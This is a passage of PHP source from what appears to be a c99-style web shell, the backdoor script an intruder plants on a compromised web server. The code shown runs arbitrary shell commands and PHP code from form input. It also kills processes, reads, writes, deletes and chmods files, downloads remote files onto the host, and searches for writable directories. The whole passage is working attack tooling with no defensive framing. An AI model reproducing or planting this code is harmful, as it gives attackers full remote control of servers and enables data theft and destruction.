1495 if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
1496 $cmdline .= " ".$actarcbuff_path;
1497 $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
1498 foreach($objects as $v) {
1499 $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
1500 if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
1501 if (is_dir($v)) {
1502 if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
1503 $v .= "*";
1504 }
1505 $cmdline .= " ".$v;
1506 }
1507 $tmp = realpath(".");
1508 chdir($d);
1509 $ret = dQ99exec($cmdline);
1510 chdir($tmp);
1511 if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
1512 $ret = str_replace("\r\n","\n",$ret);
1513 $ret = explode("\n",$ret);
1514 if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
1515 foreach($sess_data["cut"] as $k=>$v) {
1516 if (in_array($v,$ret)) {fs_rmobj($v);}
1517 unset($sess_data["cut"][$k]);
1518 }
1519 dQ99_sess_put($sess_data);
1520 if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
1521 $act = "ls";
1522 }
1523 elseif ($actpastebuff) {
1524 $psterr = "";
1525 foreach($sess_data["copy"] as $k=>$v) {
1526 $to = $d.basename($v);
1527 if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
1528 if ($copy_unset) {unset($sess_data["copy"][$k]);}
1529 }
1530 foreach($sess_data["cut"] as $k=>$v) {
1531 $to = $d.basename($v);
1532 if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
1533 unset($sess_data["cut"][$k]);
1534 }
1535 dQ99_sess_put($sess_data);
1536 if (!empty($psterr)) {echo "<b>Error pasting:</b><br>".$psterr;}
1537 $act = "ls";
1538 }
1539}
1540if ($act == "cmd") {
1541 @chdir($chdir);
1542 if (!empty($submit)) {
1543 echo "<div class=barheader>.: Results of Execution :.</div>\n";
1544 $olddir = realpath(".");
1545 @chdir($d);
1546 $ret = dQ99exec($cmd);
1547 $ret = convert_cyr_string($ret,"d","w");
1548 if ($cmd_txt) {
1549 $rows = count(explode("\n",$ret))+1;
1550 if ($rows < 10) { $rows = 10; } else { $rows = 30; }
1551 $cols = 130;
1552 echo "<textarea class=shell cols=\"$cols\" rows=\"$rows\" readonly>".htmlspecialchars($ret)."</textarea>\n";
1553 //echo "<div align=left><pre>".htmlspecialchars($ret)."</pre></div>";
1554 }
1555 else { echo $ret."<br>"; }
1556 @chdir($olddir);
1557 }
1558}
1559if ($act == "ls") {
1560 if (count($ls_arr) > 0) { $list = $ls_arr; }
1561 else {
1562 $list = array();
1563 if ($h = @opendir($d)) {
1564 while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
1565 closedir($h);
1566 }
1567 }
1568 if (count($list) == 0) { echo "<div class=dQerrmsg>Can't open folder (".htmlspecialchars($d).")!</div>";}
1569 else {
1570 $objects = array();
1571 $vd = "f"; //Viewing mode
1572 if ($vd == "f") {
1573 $objects["head"] = array();
1574 $objects["folders"] = array();
1575 $objects["links"] = array();
1576 $objects["files"] = array();
1577 foreach ($list as $v) {
1578 $o = basename($v);
1579 $row = array();
1580 if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";}
1581 elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";}
1582 elseif (is_dir($v)) {
1583 if (is_link($v)) {$type = "LINK";}
1584 else {$type = "DIR";}
1585 $row[] = $v;
1586 $row[] = $type;
1587 }
1588 elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
1589 $row[] = filemtime($v);
1590 if (!$win) {
1591 $ow = posix_getpwuid(fileowner($v));
1592 $gr = posix_getgrgid(filegroup($v));
1593 $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
1594 }
1595 $row[] = fileperms($v);
1596 if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
1597 elseif (is_link($v)) {$objects["links"][] = $row;}
1598 elseif (is_dir($v)) {$objects["folders"][] = $row;}
1599 elseif (is_file($v)) {$objects["files"][] = $row;}
1600 $i++;
1601 }
1602 $row = array();
1603 $row[] = "<b>Name</b>";
1604 $row[] = "<b>Size</b>";
1605 $row[] = "<b>Date Modified</b>";
1606 if (!$win) {$row[] = "<b>Owner/Group</b>";}
1607 $row[] = "<b>Perms</b>";
1608 $row[] = "<b>Action</b>";
1609 $parsesort = parsesort($sort);
1610 $sort = $parsesort[0].$parsesort[1];
1611 $k = $parsesort[0];
1612 if ($parsesort[1] != "a") {$parsesort[1] = "d";}
1613 $y = " <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
1614 $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
1615 $row[$k] .= $y;
1616 for($i=0;$i<count($row)-1;$i++) {
1617 if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
1618 }
1619 $v = $parsesort[0];
1620 usort($objects["folders"], "tabsort");
1621 usort($objects["links"], "tabsort");
1622 usort($objects["files"], "tabsort");
1623 if ($parsesort[1] == "d") {
1624 $objects["folders"] = array_reverse($objects["folders"]);
1625 $objects["files"] = array_reverse($objects["files"]);
1626 }
1627 $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
1628 $tab = array();
1629 $tab["cols"] = array($row);
1630 $tab["head"] = array();
1631 $tab["folders"] = array();
1632 $tab["links"] = array();
1633 $tab["files"] = array();
1634 $i = 0;
1635 foreach ($objects as $a) {
1636 $v = $a[0];
1637 $o = basename($v);
1638 $dir = dirname($v);
1639 if ($disp_fullpath) {$disppath = $v;}
1640 else {$disppath = $o;}
1641 $disppath = str2mini($disppath,60);
1642 if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
1643 elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
1644 foreach ($regxp_highlight as $r) {
1645 if (ereg($r[0],$o)) {
1646 if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; dQ99shexit();}
1647 else {
1648 $r[1] = round($r[1]);
1649 $isdir = is_dir($v);
1650 if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) {
1651 if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
1652 $disppath = $r[2].$disppath.$r[3];
1653 if ($r[4]) {break;}
1654 }
1655 }
1656 }
1657 }
1658 $uo = urlencode($o);
1659 $ud = urlencode($dir);
1660 $uv = urlencode($v);
1661 $row = array();
1662 if ($o == ".") {
1663 $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" border=\"0\"> ".$o."</a>";
1664 $row[] = "CURDIR";
1665 }
1666 elseif ($o == "..") {
1667 $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" border=\"0\"> ".$o."</a>";
1668 $row[] = "UPDIR";
1669 }
1670 elseif (is_dir($v)) {
1671 if (is_link($v)) {
1672 $disppath .= " => ".readlink($v);
1673 $type = "LINK";
1674 $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" border=\"0\"> [".$disppath."]</a>";
1675 }
1676 else {
1677 $type = "DIR";
1678 $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" border=\"0\"> [".$disppath."]</a>";
1679 }
1680 $row[] = $type;
1681 }
1682 elseif(is_file($v)) {
1683 $ext = explode(".",$o);
1684 $c = count($ext)-1;
1685 $ext = $ext[$c];
1686 $ext = strtolower($ext);
1687 $row[] = "<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\"> ".$disppath."</a>";
1688 $row[] = view_size($a[1]);
1689 }
1690 $row[] = @date("d.m.Y H:i:s",$a[2]);
1691 if (!$win) { $row[] = $a[3]; }
1692 $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
1693 if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
1694 else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
1695 if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" border=\"0\"></a> ".$checkbox;}
1696 else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a> <a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"16\" width=\"19\" border=\"0\"></a> <a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" border=\"0\"></a> ".$checkbox;}
1697 if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
1698 elseif (is_link($v)) {$tab["links"][] = $row;}
1699 elseif (is_dir($v)) {$tab["folders"][] = $row;}
1700 elseif (is_file($v)) {$tab["files"][] = $row;}
1701 $i++;
1702 }
1703 }
1704 // Compiling table
1705 $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
1706 echo "<div class=barheader>.: ";
1707 if (!empty($dQ_infohead)) { echo $dQ_infohead; }
1708 else { echo "Directory List (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders)"; }
1709 echo " :.</div>\n";
1710 echo "<form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=\"".$dspact."\"><input type=hidden name=d value=".$d.">".
1711 "<table class=explorer>";
1712 foreach($table as $row) {
1713 echo "<tr>";
1714 foreach($row as $v) {echo "<td>".$v."</td>";}
1715 echo "</tr>\r\n";
1716 }
1717 echo "</table>".
1718 "<script>".
1719 "function ls_setcheckboxall(status) {".
1720 " var id = 1; var num = ".(count($table)-2).";".
1721 " while (id <= num) { document.getElementById('actbox'+id).checked = status; id++; }".
1722 "}".
1723 "function ls_reverse_all() {".
1724 " var id = 1; var num = ".(count($table)-2).";".
1725 " while (id <= num) { document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; id++; }".
1726 "}".
1727 "</script>".
1728 "<div align=\"right\">".
1729 "<input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\"> <input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">".
1730 "<img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">";
1731 if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) {
1732 echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\"> <input type=\"text\" name=\"actarcbuff_path\" value=\"dQ_archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\"> <input type=submit name=\"actpastebuff\" value=\"Paste\"> <input type=submit name=\"actemptybuff\" value=\"Empty buffer\"> ";
1733 }
1734 echo "<select name=act><option value=\"".$act."\">With selected:</option>";
1735 echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
1736 echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
1737 if ($usefsbuff) {
1738 echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
1739 echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
1740 echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
1741 }
1742 echo "</select> <input type=submit value=\"Confirm\"></div>";
1743 echo "</form>";
1744 }
1745}
1746if ($act == "tools") { tools(); }
1747##[ PHP FILESYSTEM TRICKZ (By diKi) ]##
1748if ($act == "phpfsys") {
1749 echo "<div align=left>";
1750 $fsfunc = $phpfsysfunc;
1751 if ($fsfunc=="copy") {
1752 if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...\n";}
1753 else { echo "<b>Success!</b> $arg1 copied to $arg2\n"; }
1754 }
1755 elseif ($fsfunc=="rename") {
1756 if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!\n";}
1757 else { echo "<b>Success!</b> $arg1 renamed/moved to $arg2\n"; }
1758 }
1759 elseif ($fsfunc=="chmod") {
1760 if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!\n";}
1761 else { echo "<b>Perm for $arg1 changed to $arg2!</b>\n"; }
1762 }
1763 elseif ($fsfunc=="read") {
1764 $darg = $d.$arg1;
1765 if ($hasil = @file_get_contents($darg)) {
1766 echo "<b>Filename:</b> ".$darg."<br>";
1767 echo "<center><textarea cols=135 rows=30>";
1768 echo htmlentities($hasil);
1769 echo "</textarea></center>\n";
1770 }
1771 else { echo "<div class=dQerrmsg> Couldn't open ".$darg."<div>"; }
1772 }
1773 elseif ($fsfunc=="write") {
1774 $darg = $d.$arg1;
1775 if(@file_put_contents($darg,$arg2)) {
1776 echo "<b>Saved!</b> ".$darg;
1777
1778 }
1779 else { echo "<div class=dQerrmsg>Can't write to $darg!</div>"; }
1780 }
1781 elseif ($fsfunc=="downloadbin") {
1782 $handle = fopen($arg1, "rb");
1783 $contents = '';
1784 while (!feof($handle)) {
1785 $contents .= fread($handle, 8192);
1786 }
1787 $r = @fopen($d.$arg2,'w');
1788 if (fwrite($r,$contents)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
1789 else { echo "<div class=dQerrmsg>Can't write to ".$d.$arg2."!</div>"; }
1790 fclose($r);
1791 fclose($handle);
1792 }
1793 elseif ($fsfunc=="download") {
1794 $text = implode('', file($arg1));
1795 if ($text) {
1796 $r = @fopen($d.$arg2,'w');
1797 if (fwrite($r,$text)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
1798 else { echo "<div class=dQerrmsg>Can't write to ".$d.$arg2."!</div>"; }
1799 fclose($r);
1800 }
1801 else { echo "<div class=dQerrmsg>Can't download from $arg1!</div>";}
1802 }
1803 elseif ($fsfunc=='mkdir') {
1804 $thedir = $d.$arg1;
1805 if ($thedir != $d) {
1806 if (file_exists($thedir)) { echo "<b>Already exists:</b> ".htmlspecialchars($thedir); }
1807 elseif (!mkdir($thedir)) { echo "<b>Access denied:</b> ".htmlspecialchars($thedir); }
1808 else { echo "<b>Dir created:</b> ".htmlspecialchars($thedir);}
1809 }
1810 else { echo "Can't create current dir:<b> $thedir</b>"; }
1811 }
1812 elseif ($fsfunc=='fwritabledir') {
1813 function recurse_dir($dir,$max_dir) {
1814 global $dir_count;
1815 $dir_count++;
1816 if( $cdir = dir($dir) ) {
1817 while( $entry = $cdir-> read() ) {
1818 if( $entry != '.' && $entry != '..' ) {
1819 if(is_dir($dir.$entry) && is_writable($dir.$entry) ) {
1820 if ($dir_count > $max_dir) { return; }
1821 echo "[".$dir_count."] ".$dir.$entry."\n";
1822 recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir);
1823 }
1824 }
1825 }
1826 $cdir->close();
1827 }
1828 }
1829 if (!$arg1) { $arg1 = $d; }
1830 if (!$arg2) { $arg2 = 10; }
1831 if (is_dir($arg1)) {
1832 echo "<b>Writable directories (Max: $arg2) in:</b> $arg1<hr noshade size=1>";
1833 echo "<pre>";
1834 recurse_dir($arg1,$arg2);
1835 echo "</pre>";
1836 $total = $dir_count - 1;
1837 echo "<hr noshade size=1><b>Founds:</b> ".$total." of <b>Max</b> $arg2";
1838 }
1839 else {
1840 echo "<div class=dQerrmsg>Directory is not exist or permission denied!</div>";
1841 }
1842 }
1843 else {
1844 if (!$arg1) { echo "<div class=dQerrmsg>No operation! Please fill parameter [A]!</div>\n"; }
1845 else {
1846 if ($hasil = $fsfunc($arg1)) {
1847 echo "<b>Result of $fsfunc $arg1:</b><br>";
1848 if (!is_array($hasil)) { echo "$hasil\n"; }
1849 else {
1850 echo "<pre>";
1851 foreach ($hasil as $v) { echo $v."\n"; }
1852 echo "</pre>";
1853 }
1854 }
1855 else { echo "<div class=dQerrmsg>$fsfunc $arg1 failed!</div>\n"; }
1856 }
1857 }
1858 echo "</div>\n";
1859}
1860if ($act == "processes") {
1861 echo "<div class=barheader>.: Processes :.</div>\n";
1862 if (!$win) { $handler = "ps aux".($grep?" | grep '".addslashes($grep)."'":""); }
1863 else { $handler = "tasklist"; }
1864 $ret = dQ99exec($handler);
1865 if (!$ret) { echo "Can't execute \"".$handler."\"!"; }
1866 else {
1867 if (empty($processes_sort)) { $processes_sort = $sort_default; }
1868 $parsesort = parsesort($processes_sort);
1869 if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
1870 $k = $parsesort[0];
1871 if ($parsesort[1] != "a") {
1872 $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" border=\"0\"></a>";
1873 }
1874 else {
1875 $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";
1876 }
1877 $ret = htmlspecialchars($ret);
1878 if (!$win) { //Not Windows
1879 if ($pid) {
1880 if (is_null($sig)) { $sig = 9; }
1881 echo "Sending signal ".$sig." to #".$pid."... ";
1882 if (posix_kill($pid,$sig)) { echo "OK."; } else { echo "ERROR."; }
1883 }
1884 while (ereg(" ",$ret)) { $ret = str_replace(" "," ",$ret); }
1885 $stack = explode("\n",$ret);
1886 $head = explode(" ",$stack[0]);
1887 unset($stack[0]);
1888 for($i=0;$i<count($head);$i++) {
1889 if ($i != $k) {
1890 $head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";
1891 }
1892 }
1893 $head[$i] = "";
1894 $prcs = array();
1895 foreach ($stack as $line) {
1896 if (!empty($line)) {
1897 $line = explode(" ",$line);
1898 $line[10] = join(" ",array_slice($line,10));
1899 $line = array_slice($line,0,11);
1900 if ($line[0] == get_current_user()) { $line[0] = "<font color=green>".$line[0]."</font>"; }
1901 $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
1902 $prcs[] = $line;
1903 }
1904 }
1905 }
1906 //For Windows - Fixed By diKi
1907 else {
1908 while (ereg(" ",$ret)) { $ret = str_replace(" "," ",$ret); }
1909 while (ereg("=",$ret)) { $ret = str_replace("=","",$ret); }
1910 $ret = convert_cyr_string($ret,"d","w");
1911 $stack = explode("\n",$ret);
1912 unset($stack[0],$stack[2]);
1913 $stack = array_values($stack);
1914 $stack[0]=str_replace("Image Name","ImageName",$stack[0]);
1915 $stack[0]=str_replace("Session Name","SessionName",$stack[0]);
1916 $stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]);
1917 $head = explode(" ",$stack[0]);
1918 $stack = array_slice($stack,1);
1919 $head = array_values($head);
1920 if ($parsesort[1] != "a") { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" border=\"0\"></a>"; }
1921 else { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" border=\"0\"></a>"; }
1922 if ($k > count($head)) {$k = count($head)-1;}
1923 for($i=0;$i<count($head);$i++) {
1924 if ($i != $k) { $head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>"; }
1925 }
1926 $prcs = array();
1927 unset($stack[0]);
1928 foreach ($stack as $line) {
1929 if (!empty($line)) {
1930 $line = explode(" ",$line);
1931 $line[4] = str_replace(".","",$line[4]);
1932 $line[4] = intval($line[4]) * 1024;
1933 unset($line[5]);
1934 $prcs[] = $line;
1935 }
1936 }
1937 }
1938 $head[$k] = "<b>".$head[$k]."</b>".$y;
1939 $v = $processes_sort[0];
1940 usort($prcs,"tabsort");
1941 if ($processes_sort[1] == "d") { $prcs = array_reverse($prcs); }
1942 $tab = array();
1943 $tab[] = $head;
1944 $tab = array_merge($tab,$prcs);
1945 echo "<table class=explorer>\n";
1946 foreach($tab as $i=>$k) {
1947 echo "<tr>";
1948 foreach($k as $j=>$v) {
1949 if ($win and $i > 0 and $j == 4) { $v = view_size($v); }
1950 echo "<td>".$v."</td>";
1951 }
1952 echo "</tr>\n";
1953 }
1954 echo "</table>";
1955 }
1956}
1957if ($act == "eval") {
1958 if (!empty($eval)) {
1959 echo "Result of execution this PHP-code:<br>";
1960 $tmp = @ob_get_contents();
1961 $olddir = realpath(".");
1962 @chdir($d);
1963 if ($tmp) {
1964 @ob_clean();
1965 eval($eval);
1966 $ret = @ob_get_contents();
1967 $ret = convert_cyr_string($ret,"d","w");
1968 @ob_clean();
1969 echo $tmp;
1970 if ($eval_txt) {
1971 $rows = count(explode("\r\n",$ret))+1;
1972 if ($rows < 10) {$rows = 10;}
1973 echo "<br><textarea cols=\"115\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
1974 }
1975 else {echo $ret."<br>";}
1976 }
1977 else {
1978 if ($eval_txt) {
1979 echo "<br><textarea cols=\"115\" rows=\"15\" readonly>";
1980 eval($eval);
1981 echo "</textarea>";
1982 }
1983 else {echo $ret;}
1984 }
1985 @chdir($olddir);
1986 }
1987 else {echo "<b>PHP-code Execution (Use without PHP Braces!)</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
1988 echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"115\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\"> Display in text-area <input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
1989}
1990if ($act == "f") {
1991 echo "<div align=left>";
1992 if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") {
1993 if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
1994 else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
1995 }
1996 else {
1997 $r = @file_get_contents($d.$f);
1998 $ext = explode(".",$f);
1999 $c = count($ext)-1;
2000 $ext = $ext[$c];
2001 $ext = strtolower($ext);
2002 $rft = "";
2003 foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
2004 if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
2005 if (empty($ft)) {$ft = $rft;}
2006 $arr = array(
2007 array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"),
2008 array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"),
2009 array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"),
2010 array("Code","code"),
2011 array("Session","phpsess"),
2012 array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"),
2013 array("SDB","sdb"),
2014 array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"),
2015 array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"),
2016 array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"),
2017 array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"),
2018 array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit")
2019 );
2020 echo "<b>Viewing file: <img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\"> ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
2021 foreach($arr as $t) {
2022 if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
2023 elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
2024 else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
2025 echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
2026 }
2027 echo "<hr size=\"1\" noshade>";
2028 if ($ft == "info") {
2029 echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
2030 if (!$win) {
2031 echo "<tr><td><b>Owner/Group</b></td><td> ";
2032 $ow = posix_getpwuid(fileowner($d.$f));
2033 $gr = posix_getgrgid(filegroup($d.$f));
2034 echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
2035 }
2036 echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table>";
2037 $fi = fopen($d.$f,"rb");
2038 if ($fi) {
2039 if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
2040 else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
2041 $n = 0;
2042 $a0 = "00000000<br>";
2043 $a1 = "";
2044 $a2 = "";
2045 for ($i=0; $i<strlen($str); $i++) {
2046 $a1 .= sprintf("%02X",ord($str[$i]))." ";
2047 switch (ord($str[$i])) {
2048 case 0: $a2 .= "<font>0</font>"; break;
2049 case 32:
2050 case 10:
2051 case 13: $a2 .= " "; break;
2052 default: $a2 .= htmlspecialchars($str[$i]);
2053 }
2054 $n++;
2055 if ($n == $hexdump_rows) {
2056 $n = 0;
2057 if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
2058 $a1 .= "<br>";
2059 $a2 .= "<br>";
2060 }
2061 }
2062 echo "<table border=1 bgcolor=#666666>".
2063 "<tr><td bgcolor=#666666>".$a0."</td>".
2064 "<td bgcolor=#000000>".$a1."</td>".
2065 "<td bgcolor=#000000>".$a2."</td>".
2066 "</tr></table><br>";
2067 }
2068 $encoded = "";
2069 if ($base64 == 1) {
2070 echo "<b>Base64 Encode</b><br>";
2071 $encoded = base64_encode(file_get_contents($d.$f));
2072 }
2073 elseif($base64 == 2) {
2074 echo "<b>Base64 Encode + Chunk</b><br>";
2075 $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
2076 }
2077 elseif($base64 == 3) {
2078 echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
2079 $encoded = base64_encode(file_get_contents($d.$f));
2080 $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
2081 }
2082 elseif($base64 == 4) {
2083 $text = file_get_contents($d.$f);
2084 $encoded = base64_decode($text);
2085 echo "<b>Base64 Decode";
2086 if (base64_encode($encoded) != $text) {echo " (failed)";}
2087 echo "</b><br>";
2088 }
2089 if (!empty($encoded))
2090 {
2091 echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
2092 }
2093 echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
2094 <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>] </nobr>
2095 <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>] </nobr>
2096 <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>] </nobr>
